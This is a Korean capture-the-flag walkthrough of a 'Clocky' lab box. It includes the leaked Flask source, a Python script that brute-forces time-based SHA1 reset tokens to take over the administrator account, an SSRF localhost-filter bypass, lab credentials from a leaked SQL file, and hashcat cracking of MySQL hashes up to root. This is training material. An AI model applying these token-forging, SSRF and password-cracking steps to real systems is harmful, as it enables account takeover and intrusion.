
메인페이지부터 보려고 했지만 접근이 거부되었다.

22, 80, 8000, 8080 포트가 열려있는 것을 확인했다.

8000 포트의 robots.txt에서 sql, zip, bak 확장자를 가진 파일에 접근을 막고 있다.
나중에 특정 파일을 찾을 때 힌트가 된다.

robots.txt 파일에 접근했더니 첫번째 플래그가 들어있었다.

어떤 파일에 접근을 못하게 막고 있나 확인해보니 index.zip 파일이 보인다.

zip 파일을 다운받아서 풀어보니 두번째 플래그가 들어있었다.
# Not done with correct imports
# Some missing, some needs to be added
# Some are not in use...? Check flask imports please. Many are not needed
from flask import Flask, flash, redirect, render_template, request, session, abort, Response
from time import gmtime, strftime
from dotenv import load_dotenv
import os, pymysql.cursors, datetime, base64, requests
# Execute "database.sql" before using this
load_dotenv()
db = os.environ.get('db')
# Connect to MySQL database
connection = pymysql.connect(host="localhost",
user="clocky_user",
password=db,
db="clocky",
cursorclass=pymysql.cursors.DictCursor)
app = Flask(__name__)
# A new app will be deployed in prod soon
# Implement rate limiting on all endpoints
# Let's just use a WAF...?
# Not done (16/05-2023, jane)
@app.route("/")
def home():
current_time = strftime("%Y-%m-%d %H:%M:%S", gmtime())
return render_template("index.html", current_time=current_time)
# Done (16/05-2023, jane)
@app.route("/administrator", methods=["GET", "POST"])
def administrator():
if session.get("logged_in"):
return render_template("admin.html")
else:
if request.method == "GET":
return render_template("login.html")
if request.method == "POST":
user_provided_username = request.form["username"]
user_provided_password = request.form["password"]
try:
with connection.cursor() as cursor:
sql = "SELECT ID FROM users WHERE username = %s"
cursor.execute(sql, (user_provided_username))
user_id = cursor.fetchone()
user_id = user_id["ID"]
sql = "SELECT password FROM passwords WHERE ID=%s AND password=%s"
cursor.execute(sql, (user_id, user_provided_password))
if cursor.fetchone():
session["logged_in"] = True
return redirect("/dashboard", code=302)
except:
pass
message = "Invalid username or password"
return render_template("login.html", message=message)
# Work in progress (10/05-2023, jane)
# Is the db really necessary?
@app.route("/forgot_password", methods=["GET", "POST"])
def forgot_password():
if session.get("logged_in"):
return render_template("admin.html")
else:
if request.method == "GET":
return render_template("forgot_password.html")
if request.method == "POST":
username = request.form["username"]
username = username.lower()
try:
with connection.cursor() as cursor:
sql = "SELECT username FROM users WHERE username = %s"
cursor.execute(sql, (username))
if cursor.fetchone():
value = datetime.datetime.now()
lnk = str(value)[:-4] + " . " + username.upper()
lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
sql = "UPDATE reset_token SET token=%s WHERE username = %s"
cursor.execute(sql, (lnk, username))
connection.commit()
except:
pass
message = "A reset link has been sent to your e-mail"
return render_template("forgot_password.html", message=message)
# Done
@app.route("/password_reset", methods=["GET"])
def password_reset():
if request.method == "GET":
# Need to agree on the actual parameter here (12/05-2023, jane)
if request.args.get("TEMPORARY"):
# Not done (11/05-2023, clarice)
# user_provided_token = request.args.get("TEMPORARY")
try:
with connection.cursor() as cursor:
sql = "SELECT token FROM reset_token WHERE token = %s"
cursor.execute(sql, (user_provided_token))
if cursor.fetchone():
return render_template("password_reset.html", token=user_provided_token)
else:
return "<h2>Invalid token</h2>"
except:
pass
else:
return "<h2>Invalid parameter</h2>"
return "<h2>Invalid parameter</h2>"
# Debug enabled during dev
# TURN OFF ONCE IN PROD!
# This can be very dangerous
# ref https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug#pin-protected-path-traversal
# Use gunicorn?
if __name__ == "__main__":
app.secret_key = os.urandom(256)
app.run(host="0.0.0.0", port="8080", debug=True)
일단 이 웹서비스는 8080 포트에서 구동하고 있고 4개의 엔드포인트가 있다.
/(메인 페이지)
- 현재 UTC 시간을 가져와서
index.html템플릿에 전달하여 보여준다.
/administrator(관리자 페이지)
- 로그인한 경우
admin.html을 보여주고,- 로그인하지 않은 경우
login.html에 입력한 사용자 이름과 비밀번호를 검증한다.
/forgot_password(비밀번호 재설정 요청 페이지)
- 입력한 사용자 이름을 조회하여 사용자가 존재하면 현재 시간과 사용자 이름을 기반으로 해시 토큰을 생성한다.
- 이 토큰을 데이터베이스의
reset_token테이블에 업데이트한다.
/password_reset(비밀번호 재설정 페이지)
- URL의
TEMPORARY매개변수에 제공된 토큰을 확인하여 유효하면password_reset.html을 렌더링한다.- 유효하지 않으면 "Invalid token" 메시지를 반환한다.
여기서 중요한 것은 forgot_password 페이지에서 특정 사용자의 비밀번호 재설정 요청을 한 뒤 해시토큰을 알아내서 password_reset 페이지에 해시토큰을 통해 접속하면 해당 사용자의 패스워드를 내 마음대로 바꿀 수 있다.
우리는 /administrator에 접근하는 것이 목표이기에 관리자 계정을 탈취해야한다.
해시토큰 생성에 사용되는 시간은 ms단위까지 쓰이기 때문에 정확한 시간을 알아내려면 무차별 대입을 해보는 수 밖에 없다.
또 서버에서 사용하는 시간형식이 뭔지 중요한데 메인페이지를 통해서 확인할 수 있다.


메인페이지의 시간은 UTC 표준시간이다.
import requests
import hashlib
import datetime
usernames = ['admin', 'administrator']
for x in usernames:
data = {'username': x}
requests.post('http://clocky.thm:8080/forgot_password', data=data)
value = datetime.datetime.now(datetime.timezone.utc)
user1 = x
for i in range(10):
time = str(value)[:-14] + str(i) + "."
for i in range(100):
if i < 10:
lnk = time + "0" + str(i) + " . " + user1.upper()
else:
lnk = time + str(i) + " . " + user1.upper()
lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
with open('hashes.txt', 'a') as hashes:
hashes.write(lnk + '\n')
print('Check hashes.txt')
지금까지 정보를 토대로 무차별 대입을 시도할 해시 리스트를 뽑아내는 코드를 사용했다.
관리자 계정명이 뭔지 모르기 때문에 admin과 administrator를 둘 다 사용하여 리스트를 출력했다.
password_reset의 parameter는 arjun 이라는 툴로 token인 것을 확인했다.

이제 token 파라미터에 생성된 해시 리스트를 무차별 대입하여 유효한 해시를 확인해보자.


유효한 해시를 찾았고 내가 원하는 패스워드로 변경 완료했다.

관리자 계정명은 administrator 였고 로그인에 성공하여 세번째 플래그를 확인했다.

http://localhost를 입력했더니 허용되지 않는 액션이라고 한다.
로컬에 접속하지 못하게 필터링 되어 있는 것 같다.
위 링크에서 localhost가 필터링된 경우 우회하는 다양한 방법이 적혀있다.

burpsuite를 통해 내부 스토리지에 접근할 수 있는 URL을 확인했다.
어떤 파일을 다운로드 할 수 있을지 찾아야한다.
app.py 코드에서 힌트를 얻을 수 있다.
# Execute "database.sql" before using this
database.sql 파일을 다운받았고 내용을 확인해보니 네번째 플래그도 있었다.
CREATE DATABASE IF NOT EXISTS clocky;
USE clocky;
CREATE USER IF NOT EXISTS 'clocky_user'@'localhost' IDENTIFIED BY '!WE_LOVE_CLEARTEXT_DB_PASSWORDS!';
GRANT ALL PRIVILEGES ON *.* TO 'clocky_user'@'localhost' WITH GRANT OPTION;
CREATE USER IF NOT EXISTS 'clocky_user'@'%' IDENTIFIED BY '!WE_LOVE_CLEARTEXT_DB_PASSWORDS!';
GRANT ALL PRIVILEGES ON *.* TO 'clocky_user'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
SET FOREIGN_KEY_CHECKS=0;
DROP TABLE IF EXISTS users;
DROP TABLE IF EXISTS passwords;
/*
DROP TABLE IF EXISTS reset_token;
*/
CREATE TABLE users(
ID INT AUTO_INCREMENT UNIQUE NOT NULL PRIMARY KEY,
username VARCHAR(50) UNIQUE NOT NULL,
Created timestamp default current_timestamp );
INSERT INTO users (username) VALUES ("administrator");
CREATE TABLE passwords(
ID INT AUTO_INCREMENT NOT NULL,
password VARCHAR(256) NOT NULL,
FOREIGN KEY (ID) REFERENCES users(ID) );
INSERT INTO passwords (password) VALUES ("Th1s_1s_4_v3ry_s3cur3_p4ssw0rd");
/* Do we actually need this part anymore?
I've updated app.py to not use this due to brute force errors
CREATE TABLE reset_token(
ID INT AUTO_INCREMENT NOT NULL,
username VARCHAR(50) UNIQUE NOT NULL,
token VARCHAR(128) UNIQUE,
FOREIGN KEY (ID) REFERENCES users(ID) );
### TEST TOKEN ###
INSERT INTO reset_token (username, token) VALUES ("administrator", "WyJhZG1pbmlzdHJhdG9yIl0.hFrZoI0BzkqoI01vfOL13haqpwY");
*/
데이터베이스 초기세팅하는 코드가 들어있었고 "administrator" 계정의 패스워드가 "Th1s_1s_4_v3ry_s3cur3_p4ssw0rd"인 것을 확인했다.
외부에 DB 포트가 오픈된 것도 아니라서 해당 패스워드를 가지고 ssh 접속을 시도해보기로 했다.
계정은 app.py 코드 주석에서 확인할 수 있었던 jane, clarice 로 시도했다.

clarice 계정으로 접속을 성공했고 홈디렉토리에서 다섯번째 플래그를 찾았다.

홈디렉토리의 app 폴더에서 DB 패스워드로 추정되는 문자열을 찾았다.

사용자계정은 database.sql 에서 clocky_user 사용자를 생성하는 명령에서 힌트를 얻었다.

clocky 데이터베이스에는 별다른 정보가 없었고 mysql 데이터베이스로 접속했다.

user 테이블에 계정정보가 있었고 사전 공격을 위해서는 hash를 위처럼 SQL문을 통해 약간의 가공이 필요하다.
dev 계정의 패스워드 해시를 db_hashes.txt에 저장하고 hashcat을 통해 사전공격을 수행했다.
추출한 해시값이 어떤 해시 알고리즘인지 몰라도 자동으로 찾아서 해당 모듈로 사전공격을 수행해준다.

잠시후 패스워드 크랙이 완료되었고 해당 패스워드로 root에 접근할 수 있었다.
마지막 플래그는 root 디렉토리에서 찾을 수 있다.